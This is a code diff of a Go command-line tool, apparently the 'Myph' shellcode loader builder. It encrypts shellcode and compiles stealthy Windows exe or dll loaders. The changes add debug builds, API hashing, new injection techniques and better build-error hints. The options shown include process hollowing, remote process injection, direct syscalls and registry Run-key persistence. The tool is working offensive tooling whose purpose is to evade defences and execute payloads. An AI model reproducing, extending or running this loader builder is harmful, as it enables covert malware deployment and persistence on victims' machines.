@@ -43,17 +43,25 @@ const ASCII_ART = `
4343 `
4444
4545func BuildLoader (opts * Options ) * exec.Cmd {
46- os .Setenv ("GOOS" , opts .OS )
47- os .Setenv ("GOARCH" , opts .Arch )
46+ os .Setenv ("GOOS" , opts .OS )
47+ os .Setenv ("GOARCH" , opts .Arch )
4848 if opts .BuildType == "dll" {
4949 os .Setenv ("CGO_ENABLED" , "1" )
5050 os .Setenv ("CC" , "x86_64-w64-mingw32-gcc" )
5151 fmt .Println ("[*] Compiling payload as dll..." )
5252
53+ if opts .WithDebug {
54+ return exec .Command ("go" , "build" , "-buildmode=c-shared" , "-o" , "payload.dll" , "." )
55+ }
56+
5357 return exec .Command ("go" , "build" , "-buildmode=c-shared" , "-ldflags" , "-s -w -H=windowsgui" , "-o" , "payload.dll" , "." )
5458 } else if opts .BuildType == "exe" {
5559 fmt .Println ("[*] Compiling payload as executable..." )
5660
61+ if opts .WithDebug {
62+ return exec .Command ("go" , "build" , "-o" , "payload.exe" , "." )
63+ }
64+
5765 return exec .Command ("go" , "build" , "-ldflags" , "-s -w -H=windowsgui" , "-o" , "payload.exe" , "." )
5866 } else {
5967 fmt .Printf ("[!] Buildtype format not supported!" )
@@ -63,7 +71,7 @@ func BuildLoader(opts *Options) *exec.Cmd {
6371
6472func GetParser (opts * Options ) * cobra.Command {
6573
66- version := "1.2.0 "
74+ version := "1.2.2 "
6775 var spoofMetadata = & cobra.Command {
6876 Use : "spoof" ,
6977 Version : version ,
@@ -142,7 +150,7 @@ func GetParser(opts *Options) *cobra.Command {
142150 os .Exit (1 )
143151 }
144152
145- /* i got 99 problems but generating a random key aint one */
153+ /* generating a random key if none are selected */
146154 if opts .Key == "" {
147155 opts .Key = tools .RandomString (32 )
148156 }
@@ -190,9 +198,6 @@ func GetParser(opts *Options) *cobra.Command {
190198 panic (err )
191199 }
192200
193- fmt .Println ("\n ...downloading necessary library..." )
194- fmt .Println ("if it fails because of your internet connection, please consider using XOR or AES instead" )
195-
196201 /* Running `go get "golang.org/x/crypto/chacha20poly1305"` in MYPH_TMP_DIR` */
197202 execCmd := exec .Command ("go" , "get" , "golang.org/x/crypto/chacha20poly1305" )
198203 execCmd .Dir = MYPH_TMP_DIR
@@ -207,9 +212,6 @@ func GetParser(opts *Options) *cobra.Command {
207212 panic (err )
208213 }
209214
210- fmt .Println ("\n ...downloading necessary library..." )
211- fmt .Println ("if it fails because of your internet connection, please consider using XOR or AES instead" )
212-
213215 /* Running `go get golang.org/x/crypto/blowfish in MYPH_TMP_DIR` */
214216 execCmd := exec .Command ("go" , "get" , "golang.org/x/crypto/blowfish" )
215217 execCmd .Dir = MYPH_TMP_DIR
@@ -224,6 +226,7 @@ func GetParser(opts *Options) *cobra.Command {
224226 panic (err )
225227 }
226228
229+ /* FIXME(djnn): this should not work like this but instead have a flag and an array of techniques like the rest */
227230 persistData := ""
228231 if opts .Persistence != "" {
229232 persistData = fmt .Sprintf (`persistExecute("%s")` , opts .Persistence )
@@ -258,7 +261,7 @@ func GetParser(opts *Options) *cobra.Command {
258261 panic (err )
259262 }
260263
261- templateFunc := loaders .SelectTemplate (opts .Technique )
264+ templateFunc := loaders .SelectTemplate (opts .Technique , opts . UseAPIHashing , opts . APIHashingType )
262265 if templateFunc == nil {
263266 fmt .Printf ("[!] Could not find a technique for this method: %s\n " , opts .Technique )
264267 os .Exit (1 )
@@ -270,19 +273,33 @@ func GetParser(opts *Options) *cobra.Command {
270273 }
271274
272275 fmt .Printf ("\n [+] Template (%s) written to tmp directory. Compiling...\n " , opts .Technique )
276+
277+ if opts .UseAPIHashing {
278+ execGoGetCmd := exec .Command ("go" , "get" , "github.com/Binject/debug/pe" )
279+ execGoGetCmd .Dir = MYPH_TMP_DIR
280+ _ , _ = execGoGetCmd .Output ()
281+ }
282+
273283 execCmd := BuildLoader (opts )
274284 execCmd .Dir = MYPH_TMP_DIR
275285
276- _ , stderr := execCmd .Output ()
286+ var stderr error
287+ _ , stderr = execCmd .Output ()
277288
278289 if stderr != nil {
290+
291+ command := "go build -ldflags \" -s -w -H=windowsgui\" -o payload.exe"
292+ if opts .BuildType == "dll" {
293+ command = "CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared -ldflags \" -s -w -H=windowsgui\" -o payload.dll"
294+ }
295+
279296 fmt .Printf ("[!] error compiling shellcode: %s\n " , stderr .Error ())
280297 fmt .Printf (
281298 "\n You may try to run the following command in %s to find out what happend:\n \n GOOS=%s GOARCH=%s %s\n \n " ,
282299 MYPH_TMP_DIR ,
283300 opts .OS ,
284301 opts .Arch ,
285- "go build -ldflags \" -s -w -H=windowsgui \" -o payload.exe"
302+ command ,
286303 )
287304
288305 fmt .Println ("If you want to submit a bug report, please add the output from this command...Thank you <3" )
@@ -308,12 +325,15 @@ func GetParser(opts *Options) *cobra.Command {
308325 rootCmd .Flags ().StringVarP (& opts .OutName , "out" , "f" , defaults .OutName , "output name" )
309326 rootCmd .Flags ().StringVarP (& opts .ShellcodePath , "shellcode" , "s" , defaults .ShellcodePath , "shellcode path" )
310327 rootCmd .Flags ().StringVarP (& opts .Target , "process" , "p" , defaults .Target , "target process to inject shellcode to" )
311- rootCmd .Flags ().StringVarP (& opts .Technique , "technique" , "t" , defaults .Technique , "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, EnumCalendarInfoA, Syscall, Etwp)" )
312- rootCmd .Flags ().StringVarP (& opts .BuildType , "builtype" , "b" , defaults .BuildType , "define the output type (allowed: exe, dll)" )
328+ rootCmd .Flags ().StringVarP (& opts .Technique , "technique" , "t" , defaults .Technique , "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp)" )
313329 rootCmd .Flags ().VarP (& opts .Encryption , "encryption" , "e" , "encryption method. (allowed: AES, chacha20, XOR, blowfish)" )
314330 rootCmd .Flags ().StringVarP (& opts .Key , "key" , "k" , "" , "encryption key, auto-generated if empty. (if used by --encryption)" )
315331 rootCmd .Flags ().UintVarP (& opts .SleepTime , "sleep-time" , "" , defaults .SleepTime , "sleep time in seconds before executing loader (default: 0)" )
316- rootCmd .PersistentFlags ().StringVarP (& opts .Persistence , "persistence" , "z" , defaults .Persistence , "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\ Microsoft\\ Windows\\ CurrentVersion\\ Run' reg key (default: \" \" )" )
332+ rootCmd .Flags ().BoolVarP (& opts .WithDebug , "debug" , "d" , false , "builds binary with debug symbols" )
333+ rootCmd .Flags ().BoolVarP (& opts .UseAPIHashing , "use-api-hashing" , "" , false , "Use API Hashing" )
334+ // TODO(djnn): re-add this flag once supported
335+ // rootCmd.Flags().StringVarP(&opts.APIHashingType, "api-hashing-type", "", "DJB2", "Hashing algorithm used for API hashing")
336+ rootCmd .Flags ().StringVarP (& opts .Persistence , "persistence" , "z" , defaults .Persistence , "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\ Microsoft\\ Windows\\ CurrentVersion\\ Run' reg key (default: \" \" )" )
317337
318338 spoofMetadata .Flags ().StringVarP (& opts .PEFilePath , "pe" , "p" , defaults .PEFilePath , "PE file to spoof" )
319339 spoofMetadata .Flags ().StringVarP (& opts .VersionFilePath , "file" , "f" , defaults .VersionFilePath , "manifest file path (as JSON)" )
0 commit comments